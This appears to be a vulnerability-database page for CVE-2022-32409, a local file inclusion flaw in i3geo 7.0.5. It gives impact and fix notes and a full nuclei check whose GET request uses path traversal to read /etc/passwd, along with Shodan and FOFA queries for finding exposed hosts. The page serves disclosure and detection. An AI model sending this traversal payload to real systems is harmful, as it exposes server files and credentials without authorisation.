Browse / CVEs / CVE-2022-32409
CVE-2022-32409· softwarepublico / i3geo· CWE-22
Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion
criticalseverity
9.8CVSS score
13.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request.
Impact
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
Fix
Apply the latest patch or upgrade to a newer version of i3geo to fix the LFI vulnerability.
How to confirm it
Send: GET {{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200Run it with nuclei: nuclei -id CVE-2022-32409 -u <target>
The full check
id: CVE-2022-32409
info:
name: Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion
author: pikpikcu
severity: critical
description: Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request.
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
remediation: |
Apply the latest patch or upgrade to a newer version of i3geo to fix the LFI vulnerability.
reference:
- https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- https://nvd.nist.gov/vuln/detail/CVE-2022-32409
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-32409
cwe-id: CWE-22
epss-score: 0.13599
epss-percentile: 0.96497
cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: softwarepublico
product: i3geo
shodan-query: http.html:"i3geo"
fofa-query: body="i3geo"
tags: cve2022,cve,i3geo,lfi,softwarepublico,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200References
- https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- https://nvd.nist.gov/vuln/detail/CVE-2022-32409
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from